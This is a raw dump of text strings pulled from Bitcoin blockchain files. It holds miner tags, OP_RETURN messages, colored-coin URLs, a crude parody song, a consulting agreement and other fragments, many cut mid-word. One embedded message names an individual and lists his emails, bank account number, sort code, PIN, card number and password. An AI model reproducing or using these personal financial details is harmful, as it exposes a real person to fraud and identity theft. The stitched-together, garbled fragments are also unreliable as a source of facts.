*j(grown exponentially with many developers`
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File: blk00268.txt
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*j(ntralized. This means that anyone has ac
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*j(fore verify exactly how Bitcoin works. A
*j(ll transactions and bitcoins issued into
*j( existence can be transparently consulte
*j(d in real-time by anyone. All payments c
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*j(arty and the whole system is protected b
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u=https://coink.it/assetX3
u=https://cpr.sm/9l5qsa0UYQ
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u=https://cpr.sm/Mif8vS_AjE
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3Mined by AntPool sc0
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u=https://coloredcoin.io/csc(
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+https://mining.bitcoinaffiliatenetwork.com/
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*j(teeny OP_RETURNs which make this ineffic
*j(One day this will be for general storage
Mined by liugonggong
Just stick it on the blockchain
And now, via JSON-RPC!
*j(" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmp
*j(meta xmlns:x="adobe:ns:meta/" x:xmptk="A
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" &&##&&00.008888888888
$]Mined by zhenglin2014
Mined by AntPool usa1%
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u=https://cpr.sm/Mif8vS_AjE
Mined by AntPool usa09
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{"label":"","message":""}
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u=https://sertant.com/ODN1
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u=http://dev.chroma.io/Acki8C7q
u=http://dev.chroma.io/ASfmKRDu
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u=http://dev.chroma.io/AMD9PHLL
Mined by AntPool bj2
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&j$1375 Thomas St. San Rafael, CA 92067
Mined by AntPool usa1%
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u=https://cpr.sm/o8wjZDXXLK8]
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8Mined by AntPool sc0
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u=https://cpr.sm/V-t6XWH-7f[
u=https://gethashing.com/a/ghc
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File: blk00269.txt
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u=http://dev.chroma.io/Adp7U5fX
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ASCRIBESPOOLREGISTER
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u=http://n.opn.as/27
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Mined by AntPool sc0
Mined by yifankeji128
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<Mined by AntPool sc0
spring,you can do best in 2015 UUO
+https://mining.bitcoinaffiliatenetwork.com/
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*j(Playbanq:make money available 4 everyone
Mined by f2poolscant
Mined by qq553967525
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9Mined by AntPool bj5&
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Mined by AntPool usa1%
Mined by f2poolhaobtc
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Mined by AntPool sc0
Mined by AntPool sc0
Mined by AntPool sc0
Mined by a3164808125
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Mined by AntPool bj5
Mined by sunnyhctao03
Mined by chenliang1982
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File: blk00270.txt
ASCRIBESPOOLREGISTER
Mined by AntPool sc0
Mined by AntPool bj5
Mined by AntPool bj5
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
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Mined by caixianlong
ASCRIBESPOOLREGISTER
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Mined by AntPool bj5
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Mined by AntPool usa1"
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u=https://coloredcoin.io/arbh
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Satoshi433ParkStChinoCA93243
Mined by AntPool usa1"
Satoshi433ParkStChinoCA93243
ASCRIBESPOOLREGISTER
Mined by wengekuangchi
Mined by chenguanghai
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
Mined by AntPool usa1"
Satoshi433ParkStChinoCA93243
Satoshi433ParkStChinoCA93243
Satoshi433ParkStChinoCA93243
Satoshi433ParkStChinoCA93243
Mined by AntPool bj7
u=https://cpr.sm/8ddNpSe3Hi
u=https://cpr.sm/8ddNpSe3Hi
u=https://cpr.sm/8ddNpSe3Hi
u=https://cpr.sm/8ddNpSe3Hi
Mined by AntPool usa1"
u=https://coloredcoin.io/csc
Mined by AntPool sc0
Mined by AntPool bj24
u=https://cpr.sm/8ddNpSe3Hi
u=https://cpr.sm/8ddNpSe3Hi`
u=https://cpr.sm/8ddNpSe3Hi
u=https://cpr.sm/8ddNpSe3Hi
u=https://cpr.sm/8ddNpSe3Hi(
u=https://cpr.sm/8ddNpSe3Hi
u=https://cpr.sm/8ddNpSe3HiX
u=https://cpr.sm/8ddNpSe3Hi
u=https://cpr.sm/8ddNpSe3Hi
u=https://cpr.sm/8ddNpSe3Hi H
u=https://cpr.sm/8ddNpSe3Hi
u=https://cpr.sm/8ddNpSe3HiP
u=https://cpr.sm/8ddNpSe3Hi
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Mined by AntPool sc1
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--------------------
I like big blocks and I can not lie
You other miners can't deny
That when a blocks comes through with an itty bitty fee
And big data in your face
You get fucked, wanna pull your rig
'Cause you notice that power was wasted
Deep in the chain it's pending
I'm hashing and I can't stop bankin'
Oh Gavin, I wanna get with ya
And compile code with ya'
Other miners tried to warn me
But that block size you got makes me so horny
Ohh, Hash-o'-big-blocks
You say you wanna get in my block?
Well, use me, use me
'Cause you ain't that average /r/bitcoin groupie
I've seen them chattin'
And to the hell with patents'
You're fast, big
Got it goin' like a Josh Garza
I'm tired of solo pools
Sayin that block rewards are a thing
Take the average miner and ask him that
He gotta mine more blocks
So, bitters! (Yeah!) Bitters! (Yeah!)
Have your blocks got the space? (Hell NO!)
Tell em' to increase it! (Increase it!) Increase it! (Increase It!)
Increase that damn block size.
Baby's got blocks.
-https://www.reddit.com/r/Bitcoin/comments/354nrp/gavin_be_like/cr0z1ie
Mined by AntPool bj7
Mined by a3164808125
Mined by AntPool usa1"
Daniel Michael Abrah
am :- dmabraham.info
| A new start, no m
ore worthless parasi
ch as [ Lauren Nicol
e 'Blue-Eyes' Robins
on, Sean Russell, Wi
lliam Robert Girdles
er, Catherine O'Lear
y ] 05/12/1985 -> 1
Daniel Michael Abrah
am :- dmabraham.info
| If you dont consu
me lots of saturated
l [ & sea salt ], an
d eat like your anci
ent ancesters, you w
t, cancer, diabetes.
=Mined by AntPool usa1"
-i https://cloudminr.io/?r=Cbl4rW UW
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l www.bitvest.inc UX
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Mined by AntPool sc0
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+https://mining.bitcoinaffiliatenetwork.com/
Mined by AntPool bj24
Mined by AntPool bj6
Mined by AntPool usa1"
+https://mining.bitcoinaffiliatenetwork.com/
Mined by AntPool sc1
Mined by AntPool bj7
Mined by AntPool bj7
Satoshi433ParkStChinoCA93243
Mined by AntPool usa0
Mined by AntPool usa1"
Mined by AntPool bj7
Mined by AntPool bj0%m
Mined by AntPool sc0
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Hm[Mined by f2poolscant
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Mined by AntPool usa1"
Satoshi433ParkStChinoCA93243
Satoshi433ParkStChinoCA93243
Mined by AntPool sz0
Satoshi433ParkStChinoCA93243
Mined by AntPool bj0%m
u=https://cpr.sm/RzeRZ1OayT
KFrase di test da usare come chiave come opzione di firma di una transazioneQ?c
Mined by AntPool bj24
Mined by xiaojianying
Mined by AntPool sc1
+https://mining.bitcoinaffiliatenetwork.com/
Mined by AntPool sc0
Mined by AntPool sc1
Mined by AntPool usa1"
KMined by xulaixing2015
Mined by AntPool sc1
Mined by xb195741300
Mined by AntPool bj7
File: blk00271.txt
Mined by AntPool usa1"
Mined by AntPool usa1"
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:Mined by AntPool sc0
Bitcoin is changing our life UY7I
u=https://cpr.sm/RzeRZ1OayT
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Satoshi433ParkStChinoCA93243
$j"1Lahk8aCeuBbqn8dcCagUg5vTzUvRBdUHb
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BFrase di test da usare come chiave per la firma di una transazioneQ?c
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** Document: http://
dmabraham.com/ | htt
p://dmabraham.info/
spora: https://diasp
itcoin: 1EW6G5DfewxJ
tAintR1pwVR6TpEYHFfw
y, moarrr, br0kenarr
0w, ProtoJay & Hogeb
g One & Two: http://
blog.dmabraham.com/
& http://danmabraham
ter: http://twitter.
ebook: http://page.d
br0kenarr0w@hotmail
.co.uk & dmabraham8@
kype: danielmichaela
t Croydon, London, U
etroBank': Account N
umber 12627227 Sort
Card/Phone PIN: 774
http://www.hi5.com/
t: http://uk.pintere
port: http://www.cnd
omputer Science Degr
y Card: 280150101431
19 & Password: 31415
hain.info/address/1E
W6G5DfewxJtAintR1pwV
/www.youtube.com/wat
ps://www.youtube.com
/watch?v=bZ50qmZ-es4
//uk.linkedin.com/pu
b/daniel-abraham/98/
cloud.com/mystery-dm
r.com/photos/1045177
itcoin.org/ [Bitcoin
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u=https://cpr.sm/h-gGwVBvDU(
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Mined by hnucpcoolcs02
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magch:AXUWLLCF74GXHGZ3RGMP764BLUPSHDPJ
<Mined by AntPool bj0%m
l Buttons and Paddles forever!!! UZ
:Mined by AntPool bj6
< Lumanet.info Mining Hardware UZ
2Mined by AntPool bj24
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%\NkMined by f2poolhaobtc
Mined by gf406224454
Mined by AntPool sc1
u=https://cpr.sm/3IUuUSF5Q8
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+https://mining.bitcoinaffiliatenetwork.com/
Mined by AntPool sz0
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Mined by AntPool usa1"
blockcite-hajhdpq8610hnqe0qga67
&j$blockcite-blockcite-hgflkafauyiu24kj
Mined by f2poolscant
blockcite-tetf5875ghjgjgkdud7
Mined by AntPool sc0
Mined by AntPool usa1"
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Mined by bao105244120
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u=https://cpr.sm/brJ79wYhF48%
u=https://cpr.sm/brJ79wYhF4
u=https://cpr.sm/brJ79wYhF4h
u=https://coloredcoin.io/arb
The five nuclear-wea
pon states under the
eads (Active/Total)[
1,600 / 4,480[1]
ctober 1952 ("Hurric
y 1960 ("Gerboise Bl
Sea and air-based[12
October 1964 ("596"
on-NPT nuclear power
s (Active/Total)[nb
and air-based.[15] D
eveloping nuclear tr
May 1998 ("Chagai-I
ected land-based.[21
Warheads (Active/Tot
a. / Suspected (est.
range: 60-400)[1][2
nuclear triad.[24][
u=https://coloredcoin.io/dmt
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Mined by diwenbin521
u=http://n.opn.as/5Vv
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h}Mined by f2poolscant
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saWIsIHN5cwoKZGVmIHN
oYTI1NihzKToKCXJldHV
ybiBoYXNobGliLnNoYTI
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CWFzc2VydCBsZW4oc3lz
LmFyZ3YpID09IDIKCQoJ
zeXMuYXJndlsxXSkuZW5
-Mined by AntPool sc0
Mined by d1258792312
u=https://cpr.sm/Yq_SKOMBfI
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$j"The enemy of my enemy is my friend
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BFrase di test da usare come chiave per la firma di una transazioneQ?c
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
This is my standard consulting agreement, drafted by Addison Cameron-Huff
<addison@cameronhuff.com> Feel free to use/distribute this as you see fit.
Consulting Agreement
====================
Parties
=======
The parties to this agreement are <FIXME> (
Services
========
Contractor will provide the services described in Schedule 1 (titled
Payment
=======
Contractor will be paid according to Schedule 2 (titled
License & Ownership of Work
===========================
Client is hereby granted a non-exclusive, worldwide license to use, distribute,
reproduce and modify the copyrighted works produced pursuant to this contract.
This license may be assigned or sub-licensed by Client.
Client agrees that Contractor will own all of the intellectual property (viz.
copyright) created in the process of carrying out this agreement.
No Confidentiality
==================
Client agrees that Contractor (and its employees, officers and directors) have
no obligations regarding the confidentiality of information disclosed by, or
work done for, Client.
No Patent Covenant
==================
Contractor strongly believes that software should not to be patented. Client
agrees not to patent any invention that includes work or ideas supplied by
Contractor. Client further agrees to pay $25,000 if it breaches this covenant.
Similarly, Contractor agrees not to seek patent protection for any inventions
that emanate from this contract.
Limitation of Liability
=======================
s liability for any act or omission related to this agreement shall
be limited to the lesser of $5000 or the amount billed by Contractor in the six
month period preceding the notice of claim.
Indemnity
=========
Client agrees to indemnify Contractor (and its employees, directors and
officers) against any third party actions that relate to this agreement (and
work performed pursuant to it) and cover any legal fees incurred defending
against such actions.
Termination & Survival
======================
This contract may be terminated by either party upon 15 days notice. The
are intended to survive such termination.
Waiver
======
Any purported waiver shall only be effective if in writing and signed by both
parties.
Choice of Forum & Governing Law
===============================
Client agrees that the forum for any dispute shall be either Mississauga or
Toronto (Ontario, Canada). The parties agree that the laws of Ontario, Canada
shall be used to resolve any dispute.
Entire Agreement
================
This agreement is the entire agreement between the parties with respect to the
services to be rendered by the Contractor and supersedes any other
understandings.
Signatures
==========
This agreement may be signed electronically.
Schedule 1: Services to be Provided
===================================
Contractor shall provide computer programming and analysis services.
Schedule 2: Compensation
========================
Contractor shall be paid $FIXME per hour.
Payment is due upon invoicing.
-----BEGIN PGP SIGNATURE-----
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File: blk00272.txt
Mined by AntPool sc0
hello from vsergeev!
Mined by AntPool bj6
Mined by xuguozhong192
9Mined by lu987537397
u=https://cpr.sm/kVRH6NLFw7
Mined by AntPool sc0
Mined by AntPool sc1
Mined by AntPool usa1"
u=https://bitcoins.uk/cc/dct
+https://mining.bitcoinaffiliatenetwork.com/
the password is passwordu
u=https://coloredcoin.io/dmt
Mined by AntPool usa1"
Mined by AntPool sc0
Mined by AntPool bj6
Mined by yuan737715284
ASCRIBESPOOLREGISTER
Mined by AntPool usa1"
Mined by AntPool usa1"
Mined by f2poolscant
Mined by AntPool usa1"
Mined by xiaojianying
u=https://cpr.sm/F3mXmhTnq9
ASCRIBESPOOLREGISTER
Mined by AntPool usa0
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by haosen3310363
u=https://cpr.sm/hVrS39_PeQho
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool sc1
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
+https://mining.bitcoinaffiliatenetwork.com/
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREGISTER
Mined by AntPool bj6
>000000000000000024*
This is a test of #E
EMBII###############
SjLPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
SjLPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
SjLPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Mined by AntPool bj5
Mined by AntPool sc0
g*Mined by finebonechina
Mined by AntPool sc0
u=https://cpr.sm/hAxFB4LgGr8]
EMBII###############
ROPEC Facilities Grp
Mined by dashengbaoer
*Mined by AntPool bj5
'Mined by AntPool bj24
piMined by f2poolscant
)Mined by AntPool usa1"
0Mined by AntPool usa1"
-i 19890131100000000 U]`_B0
Mined by ben3kim4frenk
+https://mining.bitcoinaffiliatenetwork.com/
Mined by rplssrenping
4Mined by AntPool usa0
InstaGram #paddlefeet U]o
Mined by AntPool bj7
Mined by AntPool bj6
Mined by AntPool bj6
u=https://cpr.sm/E_TOrEPTmv8]
Mined by AntPool bj0%m
Satoshi433ParkStChinoCA93243
u=https://cpr.sm/brJ79wYhF4
*Mined by AntPool sc0
6Mined by AntPool usa1"
-i InstaGram #paddlefeet U]
Mined by AntPool usa1"
+https://mining.bitcoinaffiliatenetwork.com/
Mined by AntPool usa1"
+https://mining.bitcoinaffiliatenetwork.com/
Mined by AntPool usa1"
Mined by AntPool usa1"
u=https://413media.com/c.json
u=https://cpr.sm/E_TOrEPTmv
Mined by f2poolscant
u=https://goo.gl/JV1s2kPN
%j#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Mined by AntPool bj0%m
Mined by AntPool bj7
Mined by xiaojianying
Mined by sjq2544946900
Mined by AntPool usa1"
Mined by AntPool sc0
Mined by AntPool bj24
Mined by meanmachine1
u=https://coloredcoin.io/dmt
Mined by AntPool usa0
Mined by chenguanghai
Mined by hds172474338
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
u=https://coloredcoin.io/dmt
u=https://cpr.sm/t5M_-l7HmW
Mined by AntPool usa1"
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
Mined by AntPool bj7
ASCRIBESPOOLTRANSFER
Mined by AntPool sz0
Mined by f2poolscant
magch:QGHSYYSHEZ7YKAXRWIELRL62CNZSB5O6
magch:7WSUBNOAXDN3M5S7XSSWTPO3MLYXVNYQ
magch:QGHSYYSHEZ7YKAXRWIELRL62CNZSB5O6
Mined by dingweifeng1
magch:7WSUBNOAXDN3M5S7XSSWTPO3MLYXVNYQ
Mined by AntPool sc1
Mined by AntPool usa1"
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
Mined by AntPool sc1
Mined by AntPool bj5
Mined by AntPool bj6
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
Mined by AntPool usa1"
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
Mined by AntPool sc0
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
Mined by AntPool bj7
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREGISTER
Mined by jack2015021
Mined by AntPool bj7
Mined by AntPool sc1
Mined by AntPool bj7
6Mined by AntPool bj7
RollerGroup and BTC 2015 U^
+https://mining.bitcoinaffiliatenetwork.com/
+https://mining.bitcoinaffiliatenetwork.com/
Mined by f2poolscant
Mined by f2poolscant
u=https://coloredcoin.io/dmt8s
Mined by baoyufan2011
5Mined by AntPool usa1"
-i Uiper.com - Gexain.com U^
"Mined by AntPool bj7
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
Mined by AntPool bj7
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
u=https://cpr.sm/1Bu0YpiNXq
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
Mined by AntPool sc0
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
u=https://cpr.sm/WOUnmMB0H6>
Mined by f2poolscant
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
Mined by songlei6666
\Coming to you live in New York
`Coming to you live in New York
^Coming to you live in New York
ASCRIBESPOOLREPLENISH
bComing to you live in New York
dComing to you live in New York
fComing to you live in New York
hComing to you live in New York
Mined by AntPool sc0
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
u=https://cpr.sm/F4NZHbQJRa
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
Mined by AntPool usa0
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by xiyanghong1
ASCRIBESPOOLREGISTER
u=https://cpr.sm/SoJ6mWneQg
Mined by native801015
<Mined by AntPool sc0
May 22nd is bitcoin pizza day. U_
Mined by AntPool bj7
Mined by qq511315834
>000000000000000051<
Great work Team @1Hu
GpUDDLEhvehXE1P6xeud
Lyrics: Putative & Q
wanna stab me, some
hreats everywhere, b
ny rule, know any sy
edge all your bets,
sAOeLGPoEJQ3ka1MzlOP
htCu/kKWsTvhZK0SANRy
x8p42ZP5h/Oc0biC37Lm
ess: 1EW6G5DfewxJtAi
Method: Bitcoin/ECDS
me: Daniel Michael A
e: http://dmabraham.
/000000000000000004"
:000000000000000004*
<000000000000000014*
SEC|0000000000000000
SEC<0000000000000000
SEC<0000000000000000
SEC\0000000000000000
SEC|0000000000000000
SEC?0000000000000000
\000000000000000001/
Mined by AntPool bj7
Mined by AntPool sc1
+https://mining.bitcoinaffiliatenetwork.com/
Mined by AntPool bj7
ASCRIBESPOOLREGISTER
ASCRIBESPOOLCONSIGNEDREGISTER
Mined by AntPool usa0
Mined by AntPool usa0
Mined by AntPool sc0
u=https://coloredcoin.io/dmt
u=https://coloredcoin.io/dmt
megabigpower.comU_d?7
u=http://dev.chroma.io/ATFYpHse
Mined by AntPool usa1"
Mined by AntPool sz0
SIG<0000088|HLA+UC2c
7sni1TBPR2I/zRqHVz13
NRjfOh2wBnmgXzZYKH2l
aIz/0W0oF5TCbME7Hri7
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<000000000000000096|
Atom, We get to see
Andreas M. Antonopou
hvehXE1P6xeudqAHqKfs
Apertus#############
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
u=http://dev.chroma.io/AZrLniEQ
Mined by AntPool bj5
ASCRIBESPOOLTRANSFER
u=http://dev.chroma.io/AHbdyrdL
Mined by maopengchao
File: blk00273.txt
Mined by qiuyuxiang0504
Mined by AntPool bj0%m
<000000000000000004|
u=https://ideaco.in/ideacoin
?000000000000000113|
623390822B21F022C31D
C386ED07163251AD68A9
B252887D29D5FAD6FCF0
rs\embii\Desktop\ILo
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623390822B21F022C31D
C386ED07163251AD68A9
B252887D29D5FAD6FCF0
Mined by AntPool sz0
fathers brought forth on this conti
Four score and seven years ago our
nent, a new nation, conceived in Li
berty, and dedicated to the proposi
tion that all men are created equal
Mined by AntPool sc0
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
Mined by chen29158004
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
fathers brought forth on this conti
Four score and seven years ago our
nent, a new nation, conceived in Li
Mined by AntPool bj7
Mined by AntPool sc0
berty, and dedicated to the proposi
tion that all men are created equal
Mined by AntPool sc0
magch:DEUITCP5TGSBVUSPGDBDWATR4CUCLLC7
magch:DEUITCP5TGSBVUSPGDBDWATR4CUCLLC7
"000000000000000030>
Hey how is it going?
EMBII###############
/000000000000000031:
why aren't you talki
>000000000000000006<
#EMBIIsurprised_2.pn
g*000000000000000000
}}|}}|}}|}}|}}|}}|}}
EMBII###############
?000000000000000084"
623390822B21F022C31D
C386ED07163251AD68A9
B252887D29D5FAD6FCF0
magch:DEUITCP5TGSBVUSPGDBDWATR4CUCLLC7
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magch:2WVQUTYRF56JTBQCIPSFM4T2BUIH67RL
Mined by AntPool sc0
u=https://cpr.sm/v0KgLggNUW
Mined by AntPool usa1"
Mined by AntPool sc0
Mined by AntPool usa1"
This is Singapore ba
Mined by AntPool usa1"
Mined by AntPool usa1"
u=https://cpr.sm/v0KgLggNUW5)
Mined by AntPool sc0
Mined by AntPool bj5
Mined by AntPool bj6
+https://mining.bitcoinaffiliatenetwork.com/
Mined by mayixiongdi
+https://mining.bitcoinaffiliatenetwork.com/
u=https://cpr.sm/xmZdCL4Ez1
%Mined by AntPool sc0
u=https://cpr.sm/TEbtTp-QkI
Mined by f2poolhaobtc
Mined by AntPool sc1
Mined by AntPool sc1
Mined by AntPool sc1
Mined by AntPool sc1
Mined by AntPool bj5
Mined by AntPool usa1"
Mined by AntPool sc0
u=https://cpr.sm/v0KgLggNUW
Mined by ly13013997339
u=https://www.capelazarev.com/d
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Mined by AntPool sc1
Mined by AntPool bj5
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Mined by AntPool usa1"
Mined by AntPool usa1"
Mined by AntPool usa1"
Mined by AntPool sc1
Mined by AntPool sc0
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
u=https://coloredcoin.io/dmt
Mined by AntPool sc1
Mined by bao1347101255
Mined by AntPool bj6
-> 2015-05-24 1USD = Bs.422
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
+https://mining.bitcoinaffiliatenetwork.com/
Mined by zhongxing8800
ASCRIBESPOOLTRANSFER
$j"Hello blockchain, Riccardo Casatta
SYUUMined by gaoyuebin
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj5
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
Mined by zhenglin2014
Mined by AntPool sc1
Mined by AntPool usa0
Tarang Patel says hi
DeadDropTestMessage1
*I8Mined by wuguoxing
unsuccessful double-spend attempt
+https://mining.bitcoinaffiliatenetwork.com/
Mined by f2poolscant
)j'C+1VLetap gnarat | .
)j'C+2VN ,evird yellav 77 .|
)j'C+4Vl Waves Limited, 2002-2008
Cloudopy Ltd, 2013-201=tTZ
Software Engineer POS Systems En= ?Z
ServiceLocale, 2014-
)j'C+9Vckend Engineer, Co Founder
FIX Protocol, Sencha T=$
*j(C+11Vouch, Node & Web Design
*j(C+12V Financial Technologies, 2014-2015=|
Engineering Consultant
*j(C+14Vunications Ltd, 2014-2015
*j(C+16Vf Melbourne, Australia
*j(C+17Vce & Economics
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Mined by AntPool usa1"
Mined by AntPool sc1
Mined by qq669280662
Mined by AntPool bj5
u=https://ideaco.in/ideardio8]
u=https://ideaco.in/sreact28]
u=https://ideaco.in/sreact18]
Mined by AntPool sc0
Mined by wrissler700
Mined by a3164808125
ASCRIBESPOOLREGISTER
bit.ly/indeliblecode
1LMined by f2poolhaobtc
<Mined by AntPool sc0
ResponsiveLabs.com |US Web Dev Ub
Mined by AntPool sc0
SjLPHello blockchain, i am @RCasatta. This is a 80 bytes message test for OP_RETURN.
SjLPHello blockchain, i am @RCasatta. This is a 80 bytes message test for OP_RETURN.
SjLPHello blockchain, i am @RCasatta. This is a 80 bytes message test for OP_RETURN.
Mined by hb18905619999
Mined by AntPool sc1
Mined by AntPool bj6
Mined by AntPool bj6
File: blk00274.txt
Mined by AntPool usa1"
Mined by AntPool sc0
Mined by AntPool sc0
fathers brought forth on this conti
Four score and seven years ago our
berty, and dedicated to the proposi
nent, a new nation, conceived in Li
tion that all men are created equal
Mined by AntPool usa1"
ASCRIBESPOOLREGISTER
Mined by AntPool bj5
Bitcoin Mom loves Willb20c
Mined by AntPool sc0
Mined by f2poolscant
Mined by cjs18665506868
Mined by AntPool sc0
Mined by AntPool bj0%m
Mined by AntPool sc0
u=https://cpr.sm/Ersmwfu75x
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
Mined by AntPool usa1"
Mined by AntPool sc0
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREGISTER
Mined by realsun8888
Mined by a3164808125
Mined by AntPool bj24
Mined by AntPool sc0
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
Mined by AntPool usa1"
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
u=https://cpr.sm/AZvuJ8TMV-
u=https://cpr.sm/AZvuJ8TMV-pI
--------------------
I like big blocks and I can not lie
You other miners can't deny
That when a blocks comes through with an itty bitty fee
And big data in your face
You get fucked, wanna pull your rig
'Cause you notice that power was wasted
Deep in the chain it's pending
I'm hashing and I can't stop bankin'
Oh Gavin, I wanna get with ya
And compile code with ya'
Other miners tried to warn me
But that block size you got makes me so horny
Ohh, Hash-o'-big-blocks
You say you wanna get in my block?
Well, use me, use me
'Cause you ain't that average /r/bitcoin groupie
I've seen them chattin'
And to the hell with patents'
You're fast, big
Got it goin' like a Josh Garza
I'm tired of solo pools
Sayin that block rewards are a thing
Take the average miner and ask him that
He gotta mine more blocks
So, bitters! (Yeah!) Bitters! (Yeah!)
Have your blocks got the space? (Hell NO!)
Tell em' to increase it! (Increase it!) Increase it! (Increase It!)
Increase that damn block size.
Baby's got blocks.
-https://www.reddit.com/r/Bitcoin/comments/354nrp/gavin_be_like/cr0z1ie
ASCRIBESPOOLREGISTER
Mined by AntPool bj6
